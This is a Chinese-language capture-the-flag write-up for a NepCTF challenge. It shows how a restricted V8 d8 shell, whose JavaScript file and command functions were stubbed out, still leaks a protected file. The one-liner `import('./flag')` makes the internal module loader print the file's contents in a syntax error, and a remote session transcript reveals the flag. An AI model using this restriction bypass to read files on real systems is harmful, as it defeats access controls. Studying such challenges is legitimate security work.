> For the complete documentation index, see [llms.txt](https://lightc.gitbook.io/pwn-gitbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lightc.gitbook.io/pwn-gitbook/v8/another.md). Agents can also search and read this documentation through its [MCP server](https://lightc.gitbook.io/pwn-gitbook/~gitbook/mcp).

# trick?

## Error message

一个经过修改的 `V8 JavaScript / WebAssembly Shell`

几个从 `JavaScript` 暴露出来的文件和命令函数被改成了空函数

```javascript
v8::Shell::ReadBuffer(FunctionCallbackInfo)
v8::Shell::ExecuteFile(FunctionCallbackInfo)
v8::Shell::System(FunctionCallbackInfo)
v8::Shell::ReadFile(FunctionCallbackInfo)
v8::Shell::WriteFile(FunctionCallbackInfo)
```

只禁用了 `JS` 回调，没有禁用内部文件读取器

```
Shell::ReadFile(FunctionCallbackInfo) 
地址 0x009dd880 
作用：暴露给 JavaScript 的 read() 
状态：被改成空函数
Shell::ReadFile(Isolate*, const char*, bool)
地址 0x009ee610
作用：d8 内部读取 JS 模块和脚本
状态：仍然完整可用
```

动态 `import()` 使用的是第二个内部版本

假如我们使用动态模块加载器加载 `./flag`，程序内部文件读取器会读取 `./flag`

随后把它当 `JavaScript` 模块编译

由于内容是：

```
Nepctf{...}
```

这不是合法 `JavaScript`，语法错误信息会把原始源码行打印出来，也就打印出 `flag`

因此可以直接

```javascript
import("./flag").catch(e=>print(e.stack))
```

远端交互如下

```bash
V8 is running with experimental features enabled. Stability and security will suffer.
d8> import("./flag").catch(e=>print(e.stack))
//flag:1: SyntaxError: Unexpected token '{'
NepCTF{05b72500-453f-42c5-a638-5bb735be6d18}
      ^
SyntaxError: Unexpected token '{'

SyntaxError: Unexpected token '{'
[object Promise]
d8>
```

得到 `flag`
